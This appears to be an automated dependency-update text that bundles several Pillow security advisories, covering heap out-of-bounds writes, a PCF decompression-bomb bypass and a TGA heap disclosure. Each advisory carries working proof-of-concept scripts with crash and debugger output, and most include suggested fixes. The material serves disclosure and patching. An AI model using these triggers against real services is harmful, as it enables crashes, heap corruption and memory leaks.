    [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-62p4-gmf7-7g93) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()`
    via signed coordinate overflow
    BIT-pillow-2026-59199 /
    [CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) /
    [GHSA-6r8x-57c9-28j4](https://redirect.github.com/advisories/GHSA-6r8x-57c9-28j4)
    / PYSEC-2026-3451
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    
    Pillow's public image coordinate APIs can trigger a native heap
    out-of-bounds
    write when given coordinates near the signed 32-bit integer limits. In
    4-byte
    pixel modes such as `RGBA`, this becomes a controlled backward heap
    underwrite:
    for a source image of width `W`, Pillow writes `4 * W`
    attacker-controlled bytes
    starting `4 * W` bytes before the destination row pointer. With
    successful large
    image allocation, the theoretical upper bound is ~2 GiB backwards from
    the destination row.
    
    Minimal public API trigger:
    
    ```python
    from PIL import Image
    
    INT_MIN = -(1 << 31)
    
    src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
    dst = Image.new("RGBA", (8, 1))
    dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
    ```
    
    The same root cause is also reachable through `Image.crop()` and
    `Image.alpha_composite()`. No private API, ctypes, custom Python object,
    or
    malformed image file is needed.
    
    This has been confirmed as an ASAN heap-buffer-overflow write. On normal
    non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts
    with
    `double free or corruption (out)`
    
    ##### Details
    
    `src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the
    native
    `ImagingCore.paste()` method:
    
    ```python
    self.im.paste(source, box)
    ```
    
    `src/_imaging.c:_paste()` parses the four Python coordinates into signed
    `int`
    values and calls `ImagingPaste()`:
    
    ```c
    int x0, y0, x1, y1;
    PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
    status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);
    ```
    
    `src/libImaging/Paste.c:ImagingPaste()` computes and clips the region
    using
    signed `int` arithmetic:
    
    ```c
    xsize = dx1 - dx0;
    ysize = dy1 - dy0;
    
    if (dx0 + xsize > imOut->xsize) {
        xsize = imOut->xsize - dx0;
    }
    ```
    
    With `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to
    `2`.
    That matches the 2-pixel source image, so the size check passes. The
    later
    `dx0 + xsize` clip check wraps around and does not reject the
    out-of-bounds
    destination.
    
    For 4-byte pixel modes such as `RGBA`, the paste loop then multiplies
    `dx` by
    `pixelsize`:
    
    ```c
    dx *= pixelsize;
    xsize *= pixelsize;
    memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
    ```
    
    For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes
    before the
    destination row allocation.
    
    The primitive scales with the attacker-controlled source width:
    
    ```text
    source width = W
    box = ((1 << 31) - W, 0, INT_MIN, 1)
    
    C destination offset = -4 * W
    C memcpy size        =  4 * W
    write range          = [row_start - 4W, row_start)
    ```
    
    Examples for `RGBA`:
    
    ```text
    W = 2         -> writes 8 bytes before the row
    W = 1024      -> writes 4096 bytes before the row
    W = 65536     -> writes 256 KiB before the row
    W = 1000000   -> writes about 4 MiB before the row
    ```
    
    Pillow's image creation guard currently limits `xsize` to roughly
    `INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA`
    underwrite is
    `2,147,483,640` bytes before the destination row pointer. In practice,
    the
    usable range depends on memory availability, allocator layout, and
    process heap
    state.
    
    Two other documented APIs reach the same sink:
    
    ```python
    
    ##### Image.crop() path
    left = INT_MIN + 2
    Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
    
    ##### Image.alpha_composite() path, via its internal crop()
    base = Image.new("RGBA", (2, 1))
    over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
    base.alpha_composite(over, dest=(left, 0))
    ```
    
    `Image.crop()` keeps `right - left` small, so the Python
    decompression-bomb
    check allows it. `src/libImaging/Crop.c` then computes wrapped paste
    coordinates and calls `ImagingPaste()`.
    
    ##### PoC
    
    The following standalone script exercises all three public API paths.
    Save it
    as `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.
    
    ```python
    
    #!/usr/bin/env python3
    import argparse
    import sys
    
    from PIL import Image
    
    INT_MIN = -(1 << 31)
    
    def rgba_pattern(width):
        out = bytearray()
        for i in range(width):
            out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
        return bytes(out)
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument(
            "variant",
            choices=("paste", "crop", "alpha"),
            nargs="?",
            default="paste",
        )
        parser.add_argument("-w", "--width", type=int, default=2)
        args = parser.parse_args()
    
        width = args.width
        src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
    
        if args.variant == "paste":
            box = ((1 << 31) - width, 0, INT_MIN, 1)
            dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
            print(f"variant=paste box={box}")
            print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
            sys.stdout.flush()
            dst.paste(src, box)
            print("paste returned; first row:", dst.tobytes().hex())
    
        elif args.variant == "crop":
            left = INT_MIN + width
            box = (left, 0, left + width, 1)
            print(f"variant=crop box={box}")
            sys.stdout.flush()
            out = src.crop(box)
            print("crop returned; output:", out.tobytes().hex())
    
        else:
            dest = (INT_MIN + width, 0)
            dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
            print(f"variant=alpha dest={dest}")
            sys.stdout.flush()
            dst.alpha_composite(src, dest=dest)
            print("alpha_composite returned; first row:", dst.tobytes().hex())
    
        sys.stdout.flush()
    
    if __name__ == "__main__":
        main()
    ```
    
    Run against an ASAN build:
    
    ```bash
    env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
      python b021_poc.py paste
    
    env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
      python b021_poc.py crop
    
    env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
      python b021_poc.py alpha
    ```
    
    Observed ASAN signature for the direct `Image.paste()` path:
    
    ```text
    ERROR: AddressSanitizer: heap-buffer-overflow
    WRITE of size 8
    paste /out/src/src/libImaging/Paste.c:59
    ImagingPaste /out/src/src/libImaging/Paste.c:323
    _paste /out/src/src/_imaging.c:1461
    0x... is located 8 bytes before 32-byte region
    ```
    
    On non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal
    `Image.paste()` trigger returns from `paste()` and then the process
    aborts
    during cleanup with:
    
    ```text
    double free or corruption (out)
    Aborted (core dumped)
    ```
    
    Observed ASAN signature for the `Image.crop()` and
    `Image.alpha_composite()`
    paths:
    
    ```text
    ERROR: AddressSanitizer: heap-buffer-overflow
    WRITE of size 8
    paste /out/src/src/libImaging/Paste.c:59
    ImagingPaste /out/src/src/libImaging/Paste.c:323
    ImagingCrop /out/src/src/libImaging/Crop.c:57
    _crop /out/src/src/_imaging.c:1090
    ```
    
    ##### Suggested fix
    
    Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
    arithmetic or a wider type before calculating widths and clipped
    endpoints.
    
    For example, reject boxes whose endpoint subtraction cannot be
    represented
    cleanly, and clip using non-overflowing comparisons:
    
    ```c
    int64_t xsize64 = (int64_t)dx1 - dx0;
    int64_t ysize64 = (int64_t)dy1 - dy0;
    
    if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
        return ImagingError_ValueError("bad box");
    }
    ```
    
    `ImagingCrop()` should receive the same treatment for `sx1 - sx0`,
    `dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`.
    
    ##### Impact
    
    This is a heap out-of-bounds write in Pillow's native C extension,
    reachable
    through documented public image APIs.
    
    Applications are impacted if an untrusted user can control image
    operation
    coordinates passed to Pillow, for example crop boxes, paste boxes, or
    overlay
    positions. The bytes written in the direct `Image.paste()` variant are
    copied
    from the source image, so attacker-controlled source pixels can
    influence the
    out-of-bounds write. For `RGBA`, the write is a backward heap underwrite
    whose
    offset and length are both `4 * source_width`, bounded in practice by
    successful
    image allocation and heap layout.
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    [https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4)
    -
    [https://nvd.nist.gov/vuln/detail/CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199)
    -
    [https://github.com/python-pillow/Pillow/pull/9703](https://redirect.github.com/python-pillow/Pillow/pull/9703)
    -
    [https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b](https://redirect.github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b)
    -
    [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml)
    -
    [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-6r8x-57c9-28j4) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called
    without `_decompression_bomb_check()` — bomb protection bypass via PCF
    font loading
    BIT-pillow-2026-54059 /
    [CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) /
    [GHSA-8v84-f9pq-wr9x](https://redirect.github.com/advisories/GHSA-8v84-f9pq-wr9x)
    / PYSEC-2026-2253
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Description
    `PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions
    from the PCF `METRICS` section and passes them directly to
    `Image.frombytes()` without calling `Image._decompression_bomb_check()`.
    Dimensions originate from unsigned 16-bit values:
    
    ```
    xsize = right - left          (max: 65535 − 0 = 65535)
    ysize = ascent + descent      (max: 65535 + 65535 = 131070)
    ```
    
    Maximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450
    pixels** — **48× the DecompressionBombError threshold**.
    
    **Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**
    ```python
    for i in range(nbitmaps):
        xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
        b, e = offsets[i : i + 2]
        bitmaps.append(
            Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
            # ↑ NO _decompression_bomb_check()!
        )
    ```
    
    `Image.frombytes()` calls `Image.new()` first (allocating the full
    C-heap buffer), **then** attempts to fill it. This creates two distinct
    attack paths:
    
    - **Persistent attack**: Provide matching bitmap data → `frombytes()`
    succeeds → image stored in `font.glyph[ch]` permanently
    - **Transient attack**: Provide a 148-byte PCF file with large declared
    dimensions but no data → `Image.new()` allocates the full buffer →
    `ValueError` → buffer freed → but the spike occurs before Python can
    respond
    
    ##### Steps to reproduce
    
    **Proof of Concept script:**
    
    ```python
    
    #!/usr/bin/env python3
    """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
    import io, struct, tracemalloc, warnings
    warnings.filterwarnings("ignore")
    
    from PIL.PcfFontFile import PcfFontFile
    from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
    
    W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold
    
    ##### Show what Image.open() would do
    warnings.filterwarnings("error", category=DecompressionBombWarning)
    try:
        _decompression_bomb_check((W, H))
    except (DecompressionBombWarning, DecompressionBombError) as e:
        print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
    warnings.filterwarnings("ignore")
    
    ##### PCF binary constants
    PCF_MAGIC    = 0x70636601
    PCF_PROPS    = 1 << 0
    PCF_METRICS  = 1 << 2
    PCF_BITMAPS  = 1 << 3
    PCF_ENCODINGS= 1 << 5
    
    def build_bomb_pcf(xsize, ysize):
        # Properties: empty
        props = struct.pack("<III", 0, 0, 0)
    
        # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
        metrics = struct.pack("<II", 0, 1)
        metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
    
        # Bitmaps: 1 glyph, empty data (transient attack)
        bitmaps = struct.pack("<II", 0, 1)
        bitmaps += struct.pack("<I", 0)              # offset[0] = 0
        bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0
    
        # Encodings: char 0x41 ('A') → glyph 0
        enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
        encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
        encodings += struct.pack("<" + "H"*128, *enc_offsets)
    
        secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
                (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
        hdr_size = 4 + 4 + len(secs) * 16
        out = struct.pack("<II", PCF_MAGIC, len(secs))
        offset = hdr_size
        for stype, sdata in secs:
            out += struct.pack("<IIII", stype, 0, len(sdata), offset)
            offset += len(sdata)
        for _, sdata in secs:
            out += sdata
        return out
    
    pcf = build_bomb_pcf(W, H)
    print(f"[*] PCF file size  : {len(pcf)} bytes")
    print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
    print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")
    
    tracemalloc.start()
    try:
        font = PcfFontFile(io.BytesIO(pcf))
        _, peak = tracemalloc.get_traced_memory()
        tracemalloc.stop()
        print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
    except Exception as e:
        _, peak = tracemalloc.get_traced_memory()
        tracemalloc.stop()
        print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
        print(f"    Heap peak: {peak/1024**2:.2f} MB")
        print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")
    ```
    
    **Expected output:**
    ```
    [Image.open() path] BLOCKED by DecompressionBombError
    [*] PCF file size  : 148 bytes
    [*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
    [*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
    [!] CONFIRMED (transient): ValueError after allocation
        C-heap allocation of ~23 MB occurred before exception
    ```
    
    **Amplification table:**
    
    | PCF file | Glyph dims | C-heap (mode '1') | Bomb check |
    |---|---|---|---|
    | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |
    | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |
    | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
    
    ##### Impact
    - **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font
    file
    - **Confidentiality**: None
    - **Integrity**: None
    - Any service loading PCF fonts from untrusted sources (e.g.,
    `PcfFontFile(fp)`) is affected
    - `PcfFontFile` is never loaded via `Image.open()`, so the bomb check
    protection is completely absent from the entire PCF font loading path
    - Confirmed unpatched on `python-pillow/Pillow` `main` branch as of
    2026-06-07
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    [https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x)
    -
    [https://nvd.nist.gov/vuln/detail/CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059)
    -
    [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
    -
    [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml)
    -
    [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-8v84-f9pq-wr9x) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: Controlled heap out-of-bounds write in Pillow
    `ImageCmsTransform.apply()` via output mode mismatch
    BIT-pillow-2026-59205 /
    [CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) /
    [GHSA-9hw9-ch79-4vh6](https://redirect.github.com/advisories/GHSA-9hw9-ch79-4vh6)
    / PYSEC-2026-3453
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    
    Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can
    trigger
    controlled native heap corruption when the caller supplies an output
    image whose
    mode does not match the transform's declared output mode.
    
    For example, a transform built as `RGBA -> RGBA` can be applied to an
    `L` output
    image. Pillow checks dimensions only, then calls LittleCMS with the
    output row
    pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L`
    image row.
    
    ##### Details
    
    `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional
    caller
    supplied `imOut`:
    
    ```python
    def apply(self, im, imOut=None):
        if imOut is None:
            imOut = Image.new(self.output_mode, im.size, None)
        self.transform.apply(im.getim(), imOut.getim())
        imOut.info["icc_profile"] = self.output_profile.tobytes()
        return imOut
    ```
    
    If `imOut` is provided, Pillow does not check:
    
    ```text
    im.mode == self.input_mode
    imOut.mode == self.output_mode
    ```
    
    The C wrapper in `src/_imagingcms.c` unwraps both image cores and only
    checks
    that the output dimensions are at least as large as the input
    dimensions:
    
    ```c
    static int
    pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
        if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
            return -1;
        }
    
        for (i = 0; i < im->ysize; i++) {
            cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
        }
    
        pyCMScopyAux(hTransform, imOut, im);
        return 0;
    }
    ```
    
    `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to
    LittleCMS
    `TYPE_RGBA_8`, which writes 4 bytes per pixel:
    
    ```c
    case IMAGING_MODE_RGB:
    case IMAGING_MODE_RGBA:
    case IMAGING_MODE_RGBX:
        return TYPE_RGBA_8;
    ```
    
    So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 *
    width`
    bytes to each output row. If the supplied output image is mode `L`,
    Pillow only
    allocated `1 * width` bytes for that row.
    
    For width 4096:
    
    ```text
    destination row allocation: 4096 bytes
    LittleCMS write size:       16384 bytes
    overflow:                  ~12288 bytes past the row
    ```
    
    The bug does not require a large image. Width 8 was enough to corrupt
    heap
    metadata. At width 8, `apply()` returned to Python and printed `after`;
    glibc
    detected the corrupted heap later during cleanup.
    
    ##### PoC
    
    Tiny heap corruption trigger:
    
    ```python
    from PIL import Image, ImageCms
    
    srgb = ImageCms.createProfile("sRGB")
    transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
    
    im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
    out = Image.new("L", (8, 1), 0)
    
    print("before", flush=True)
    transform.apply(im, out)
    print("after")
    ```
    
    Observed locally on Pillow `12.3.0.dev0`:
    
    ```text
    before
    after
    free(): invalid next size (normal)
    Aborted (core dumped)
    ```
    
    Controlled overwrite evidence PoC:
    
    ```python
    from PIL import Image, ImageCms
    
    srgb = ImageCms.createProfile("sRGB")
    transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
    
    im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
    out = Image.new("L", (4096, 1), 0)
    
    transform.apply(im, out)
    ```
    
    Run under gdb:
    
    ```bash
    gdb -q --batch -ex run -ex bt --args \
      python3 b022_controlled.py
    ```
    
    Observed on Pillow `12.3.0.dev0`:
    
    ```text
    Program received signal SIGSEGV, Segmentation fault.
    ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
    
    #&#8203;1 _cmsLockPrimitive (m=0x4443424144434241)
    #&#8203;2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
    
    #&#8203;3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
    #&#8203;4 cmsSaveProfileToIOhandler(...)
    
    #&#8203;5 cmsSaveProfileToMem(...)
    #&#8203;6 cms_profile_tobytes (...) at src/_imagingcms.c:152
    ```
    
    `0x4443424144434241` is the attacker-controlled source pixel pattern
    `b"ABCDABCD"` interpreted as a little-endian pointer-sized value.
    
    Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer
    of
    `0x403020104030201`, matching the repeated pixel bytes.
    
    ##### Impact
    
    This is a heap out-of-bounds write in Pillow's native ImageCms
    extension,
    reachable through public API.
    
    Applications are impacted if untrusted users can control ImageCms
    transform
    parameters and/or provide the output image object passed to
    `ImageCmsTransform.apply()`. The source image pixels influence the bytes
    written
    out of bounds.
    
    ##### Suggested fix
    
    Validate modes before calling into the native transform:
    
    ```python
    def apply(self, im, imOut=None):
        if im.mode != self.input_mode:
            raise ValueError("input mode mismatch")
        if imOut is None:
            imOut = Image.new(self.output_mode, im.size, None)
        elif imOut.mode != self.output_mode:
            raise ValueError("output mode mismatch")
        self.transform.apply(im.getim(), imOut.getim())
        imOut.info["icc_profile"] = self.output_profile.tobytes()
        return imOut
    ```
    
    The C extension should also defensively reject mismatched image modes
    before
    calling `cmsDoTransform()`.
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    [https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6)
    -
    [https://nvd.nist.gov/vuln/detail/CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205)
    -
    [https://github.com/python-pillow/Pillow/pull/9715](https://redirect.github.com/python-pillow/Pillow/pull/9715)
    -
    [https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721](https://redirect.github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721)
    -
    [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml)
    -
    [https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap
    data into generated images
    BIT-pillow-2026-59198 /
    [CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) /
    [GHSA-fj7v-r99m-22gq](https://redirect.github.com/advisories/GHSA-fj7v-r99m-22gq)
    / PYSEC-2026-3494
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    
    Pillow's TGA RLE encoder reads past its row buffer when saving a mode
    `"1"`
    image. Adjacent process heap bytes can be copied into the generated TGA
    file.
    
    The bug is reachable through the public save API:
    
    ```python
    im.save(out, format="TGA", compression="tga_rle")
    ```
    
    Older affected Pillow versions use the equivalent public option
    `rle=True`.
    
    For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width /
    8)`
    bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per
    pixel.
    
    The maximum valid TGA width is `65535`. At that width:
    
    ```text
    allocated packed row buffer: 8192 bytes
    encoder byte-offset walk:     65535 bytes
    maximum OOB window per row:   57343 bytes
    ```
    
    On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below
    serialized
    `57297` bytes from distinct out-of-bounds source offsets into one
    returned TGA,
    covering `99.92%` of the maximum adjacent heap window. No heap grooming,
    ctypes,
    private API, or malformed input file was used. The disclosure is emitted
    across
    many TGA packet payload copies of at most `128` bytes each, not one
    large
    `memcpy()`.
    
    ##### Details
    
    `src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the
    `tga_rle` encoder when RLE compression is requested.
    
    `src/encode.c:_setimage()` allocates the row buffer using the packed-bit
    formula:
    
    ```c
    state->bytes = (state->bits * state->xsize + 7) / 8;
    state->buffer = (UINT8 *)calloc(1, state->bytes);
    ```
    
    For mode `"1"`, `state->bits == 1`.
    
    `src/libImaging/TgaRleEncode.c` then computes:
    
    ```c
    bytesPerPixel = (state->bits + 7) / 8;
    ```
    
    This becomes `1`, and the encoder uses pixel indexes as byte offsets:
    
    ```c
    static int
    comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
        buf += x * bytesPerPixel;
        return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
    }
    ```
    
    The packet payload `memcpy()` later copies those out-of-bounds source
    bytes into
    the output. Raw packets copy up to `128` contiguous bytes, while RLE
    packets copy
    one representative byte:
    
    ```c
    memcpy(
        dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
    );
    ```
    
    A width-2 mode `"1"` image allocates one row byte and already triggers
    an ASAN
    heap-buffer-overflow read. Wider images increase the adjacent heap
    window and
    the amount of heap data that can be serialized.
    
    ##### PoC
    
    ##### Minimal ASAN trigger
    
    ```python
    import io
    from PIL import Image
    
    out = io.BytesIO()
    Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
    ```
    
    Observed on local Pillow `12.3.0.dev0` ASAN target:
    
    ```text
    ERROR: AddressSanitizer: heap-buffer-overflow
    READ of size 1
    comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
    ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
    0 bytes after a 1-byte allocation from _setimage
    ```
    
    ##### Maximum-width heap disclosure
    
    This PoC uses one maximum-width row. It parses the generated TGA packets
    and
    extracts only payload bytes whose source offsets were outside the
    allocated
    packed row. Rows are avoided because they mostly repeat the same
    adjacent heap window.
    
    Run the following with a standard affected Pillow installation.
    
    ```python
    import hashlib
    import io
    import PIL
    from PIL import Image
    
    WIDTH = 65535
    ATTEMPTS = 20
    ROW_BYTES = (WIDTH + 7) // 8
    MAX_OOB_WINDOW = WIDTH - ROW_BYTES
    
    def extract_oob_payload(data):
        i = 18
        pixel = 0
        oob = bytearray()
    
        while pixel < WIDTH:
            descriptor = data[i]
            i += 1
            count = (descriptor & 0x7F) + 1
    
            if descriptor & 0x80:
                value = data[i]
                i += 1
                if pixel + count - 1 >= ROW_BYTES:
                    oob.append(value)
            else:
                values = data[i : i + count]
                i += count
                oob.extend(values[max(ROW_BYTES - pixel, 0) :])
    
            pixel += count
    
        return bytes(oob)
    
    best = b""
    
    for _ in range(ATTEMPTS):
        out = io.BytesIO()
        Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
        oob = extract_oob_payload(out.getvalue())
        if len(oob) > len(best):
            best = oob
    
    with open("/tmp/max_oob_bytes.bin", "wb") as fp:
        fp.write(best)
    
    print(f"Pillow={PIL.__version__}")
    print(f"packed_row_bytes={ROW_BYTES}")
    print(f"maximum_oob_window={MAX_OOB_WINDOW}")
    print(f"serialized_distinct_oob_offsets={len(best)}")
    print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
    print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
    print(f"sha256={hashlib.sha256(best).hexdigest()}")
    ```
    
    Observed on installed Pillow `12.2.0`:
    
    ```text
    Pillow=12.2.0
    packed_row_bytes=8192
    maximum_oob_window=57343
    serialized_distinct_oob_offsets=57297
    nonzero_oob_bytes=54407
    coverage=99.92%
    ```
    
    ##### Impact
    
    This is a heap out-of-bounds read and potential information disclosure.
    
    A maximum-width single-row image can cause nearly the full
    `57343`-byte adjacent heap window to be incorporated into one output
    file.
    
    #### Severity
    - CVSS Score: 6.5 / 10 (Medium)
